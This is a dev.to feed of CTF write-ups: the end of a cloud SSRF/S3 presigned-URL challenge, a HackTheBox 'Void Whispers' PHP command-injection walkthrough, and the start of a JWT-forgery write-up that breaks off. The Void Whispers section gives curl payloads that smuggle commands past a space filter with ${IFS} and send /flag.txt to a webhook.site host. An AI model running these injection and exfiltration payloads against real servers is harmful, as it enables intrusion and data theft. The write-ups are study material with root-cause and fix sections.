&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;An error occurred (403) when calling the HeadObject operation: Forbidden
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried the lower-level API call in case it was just a HeadObject quirk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3api get-object &lt;span class="nt"&gt;--bucket&lt;/span&gt; fam-ctf-cloud-challenge &lt;span class="nt"&gt;--key&lt;/span&gt; players/2301/flag.txt flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AccessDenied ... with an explicit deny in a resource-based policy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That "explicit deny in a resource-based policy" matched the earlier hint about&lt;br&gt;
the bucket only allowing requests that originate from inside the VPC. &lt;code&gt;ListBucket&lt;/code&gt;&lt;br&gt;
apparently wasn't covered by that condition (which is why listing worked), but&lt;br&gt;
&lt;code&gt;GetObject&lt;/code&gt; was.&lt;/p&gt;
&lt;h2&gt;
  
  
  Getting past the VPC restriction
&lt;/h2&gt;

&lt;p&gt;The fix: a SigV4 presigned URL bakes the signature into the query string, so&lt;br&gt;
whoever actually sends the HTTP request is what matters for the source-IP&lt;br&gt;
condition - not whoever generated the signature. Generated one locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 presign s3://fam-ctf-cloud-challenge/players/2301/flag.txt &lt;span class="nt"&gt;--expires-in&lt;/span&gt; 300
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then replayed that entire presigned URL through the SSRF webhook, so the actual&lt;br&gt;
GET would be issued by the EC2 instance itself (which is inside the VPC):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-m&lt;/span&gt; 15 &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="s1"&gt;'http://13.206.97.85/internal/webhook'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'url=https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/2301/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=...&amp;amp;X-Amz-Signature=...'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That came back with &lt;code&gt;status: 200&lt;/code&gt; and the flag in the body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FAM{cl0ud_ssrf_imds_aacb179e691f}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Root causes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The webhook is a proxy that fetches attacker-controlled URLs server-side - classic SSRF.&lt;/li&gt;
&lt;li&gt;The IP-range blocklist checks resolved DNS but missed the legacy &lt;code&gt;instance-data&lt;/code&gt;
alias, which still points at the metadata service.&lt;/li&gt;
&lt;li&gt;IMDSv2 didn't actually stop anything here, because the SSRF proxy transparently
forwards HTTP method and headers, so the full token-then-fetch handshake could
be completed remotely through it.&lt;/li&gt;
&lt;li&gt;The S3 bucket policy's VPC-source restriction only checks where the request
physically comes from, and the SSRF gave a way to originate a request from
inside that trusted boundary.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>cloud</category>
    </item>
    <item>
      <title>HackTheBox : Void Whispers Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 17 Jul 2026 13:37:17 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-void-whispers-writeup-bh5</link>
      <guid>https://dev.to/exploitnotes/hackthebox-void-whispers-writeup-bh5</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;The "Void Whispers" mail-settings panel passes the user-supplied &lt;code&gt;sendMailPath&lt;/code&gt; field directly into &lt;code&gt;shell_exec("which $sendMailPath")&lt;/code&gt; with no escaping. The app only filters literal whitespace, which is trivially bypassed using bash's &lt;code&gt;${IFS}&lt;/code&gt; variable to separate injected commands without using a space character. This allows arbitrary command execution on the server, confirmed via timing delays and an out-of-band webhook callback, and ultimately used to read and exfiltrate &lt;code&gt;/flag.txt&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;

&lt;p&gt;The challenge presented a Halloween-themed "Void Whispers" mail-settings panel - a small PHP app for configuring the "from name," "from email," "sendmail path," and "mail program" used to send support notifications.&lt;/p&gt;

&lt;p&gt;The page rendered a form with four fields and a &lt;strong&gt;Save&lt;/strong&gt; button that posts to &lt;code&gt;/update&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From Name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt;    Ghostly Support&lt;/span&gt;
&lt;span class="nt"&gt;From Email&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt;   support@void-whispers.htb&lt;/span&gt;
&lt;span class="nt"&gt;Sendmail PATH&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; /usr/sbin/sendmail&lt;/span&gt;
&lt;span class="nt"&gt;Mail Program&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; sendmail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Source review
&lt;/h2&gt;

&lt;p&gt;A downloadable build archive provided the full server source. Routing goes through a minimal custom router (&lt;code&gt;Router.php&lt;/code&gt;) into &lt;code&gt;IndexController.php&lt;/code&gt;, which handles both &lt;code&gt;GET /&lt;/code&gt; (renders the form) and &lt;code&gt;POST /update&lt;/code&gt; (saves settings):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;updateSetting&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$router&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;$from&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'from'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="nv"&gt;$mailProgram&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'mailProgram'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="nv"&gt;$sendMailPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'sendMailPath'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="nv"&gt;$email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$from&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mailProgram&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendMailPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$router&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'All fields required!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'status'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'danger'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/\s/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$sendMailPath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$router&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Sendmail path should not contain spaces!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'status'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'danger'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nv"&gt;$whichOutput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"which &lt;/span&gt;&lt;span class="nv"&gt;$sendMailPath&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$whichOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$router&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Binary does not exist!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'status'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'danger'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stand out immediately:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;sendMailPath&lt;/code&gt; is passed straight into &lt;code&gt;shell_exec("which $sendMailPath")&lt;/code&gt; with &lt;strong&gt;no escaping&lt;/strong&gt; (&lt;code&gt;escapeshellarg&lt;/code&gt;/&lt;code&gt;escapeshellcmd&lt;/code&gt; are never called).&lt;/li&gt;
&lt;li&gt;The only validation is a regex that blocks literal whitespace characters (&lt;code&gt;\s&lt;/code&gt;). It does &lt;strong&gt;not&lt;/strong&gt; block shell metacharacters like &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;`&lt;/code&gt;, &lt;code&gt;$()&lt;/code&gt;, or &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; - and critically, bash's &lt;code&gt;${IFS}&lt;/code&gt; variable expands to whitespace at execution time, so it's a ready-made bypass for a "no spaces" filter.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is a textbook OS command injection: attacker-controlled input reaches a shell with no sanitization beyond a trivially bypassable space check.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 - Confirm the space-filter bypass with a time delay
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;${IFS}&lt;/code&gt; (Internal Field Separator) is treated as a space by the shell but contains no literal space character, so it sails past &lt;code&gt;preg_match('/\s/', ...)&lt;/code&gt;. Chaining a second command with &lt;code&gt;;&lt;/code&gt; after the legitimate &lt;code&gt;sendmail&lt;/code&gt; binary confirms execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;target-ip&amp;gt;:&amp;lt;port&amp;gt;/update &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"from=Ghostly Support"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"email=test@test.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"mailProgram=sendmail"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'sendMailPath=sendmail;sleep${IFS}5'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The request took ~5 seconds to complete. Repeating with &lt;code&gt;sleep${IFS}10&lt;/code&gt; took ~10 seconds - confirming arbitrary command execution, with response time as the oracle.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 - Out-of-band confirmation
&lt;/h3&gt;

&lt;p&gt;To move past blind timing and get real command output, a webhook.site endpoint was used as an OOB (out-of-band) callback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;target-ip&amp;gt;:&amp;lt;port&amp;gt;/update &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"from=Ghostly Support"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"email=test@test.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"mailProgram=sendmail"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'sendMailPath=sendmail;curl${IFS}https://webhook.site/&amp;lt;webhook-id&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The webhook.site inbox logged an inbound &lt;code&gt;GET&lt;/code&gt; request from the target server's IP moments later, confirming full outbound command execution capability from the box.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 - Exfiltrate the flag
&lt;/h3&gt;

&lt;p&gt;With confirmed command execution and outbound connectivity, the flag was read and exfiltrated via command substitution appended as a query parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;target-ip&amp;gt;:&amp;lt;port&amp;gt;/update &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"from=Ghostly Support"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"email=test@test.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"mailProgram=sendmail"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'sendMailPath=sendmail;curl${IFS}https://webhook.site/&amp;lt;webhook-id&amp;gt;?x=$(cat${IFS}/flag.txt)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The webhook.site inbox received a new request with the flag contents in the &lt;code&gt;x&lt;/code&gt; query parameter.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Result
&lt;/h2&gt;

&lt;p&gt;The captured request on webhook.site showed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /&amp;lt;webhook-id&amp;gt;?x=HTB{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;HTB{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Root Cause &amp;amp; Fix
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issue&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User input passed directly into &lt;code&gt;shell_exec()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Any shell metacharacter in the input executes as part of the command&lt;/td&gt;
&lt;td&gt;Never build shell commands from user input; if a shell call is unavoidable, use &lt;code&gt;escapeshellarg()&lt;/code&gt; on every argument&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Filter only blocks literal whitespace (&lt;code&gt;\s&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;${IFS}&lt;/code&gt;, tabs, and other whitespace-equivalent shell constructs bypass a naive space check&lt;/td&gt;
&lt;td&gt;Use an allowlist of expected binary paths instead of blocklisting characters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;which $sendMailPath&lt;/code&gt; used to "validate" a path that is later stored and reused&lt;/td&gt;
&lt;td&gt;Validation logic itself is the injection point&lt;/td&gt;
&lt;td&gt;Validate against a fixed, known-safe list of binaries rather than shelling out to check existence&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The takeaway: blocklisting specific characters (or here, just whitespace) is fragile - shells have many equivalent ways to express the same thing (&lt;code&gt;${IFS}&lt;/code&gt;, &lt;code&gt;$IFS$9&lt;/code&gt;, tabs, newlines). Any code path that concatenates user input into a shell command needs proper argument escaping or, better, no shell at all.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>HackTheBox : WayWitch Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 17 Jul 2026 13:30:05 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-waywitch-writeup-19po</link>
      <guid>https://dev.to/exploitnotes/hackthebox-waywitch-writeup-19po</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;The ticket portal generates guest session JWTs client-side, signing them with an HMAC secret (&lt;code&gt;halloween-secret&lt;/code&gt;) that's hardcoded directly in the page's JavaScript. Since the server verifies tokens with that same secret, anyone can read it from the page source and forge their own token with &lt;code&gt;username: "admin"&lt;/code&gt;. Access control on the &lt;code&gt;/tickets&lt;/code&gt; endpoint trusts this claim outright, so the forged token unlocks the admin-only ticket list - which contains the flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;

&lt;p&gt;The challenge exposed a single web service (a Halloween-themed "WitchWay" ticket support portal) reachable over HTTPS with a self-signed cert:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://&amp;lt;target-ip&amp;gt;:&amp;lt;port&amp;gt;/ &lt;span class="nt"&gt;--insecure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The landing page rendered a ticket submission form and pulled in a client-side JWT library (&lt;code&gt;jose.min.js&lt;/code&gt;). Viewing the page source revealed inline JavaScript that generates a &lt;strong&gt;guest session token entirely in the browser&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raw&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;halloween-secret&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HMAC&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SHA-256&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sign&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the core flaw: the HMAC secret used to sign session tokens (&lt;code&gt;halloween-secret&lt;/code&gt;) is shipped in plaintext inside client-facing JavaScript. Since JWTs signed with HS256 are verified with the &lt;em&gt;same&lt;/em&gt; symmetric key used to sign them, anyone who reads the page source can mint their own valid tokens.&lt;/p&gt;

&lt;p&gt;On page load, a &lt;code&gt;session_token&lt;/code&gt; cookie is set containing a JWT with only two claims:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"guest_1234"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1699999999&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Source review
&lt;/h2&gt;

&lt;p&gt;A downloadable build archive (&lt;code&gt;build-docker.sh&lt;/code&gt;, &lt;code&gt;Dockerfile&lt;/code&gt;, &lt;code&gt;src/&lt;/code&gt;) confirmed the server-side logic. The relevant route, &lt;code&gt;src/routes/index.js&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/tickets&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session_token&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getUsernameFromToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

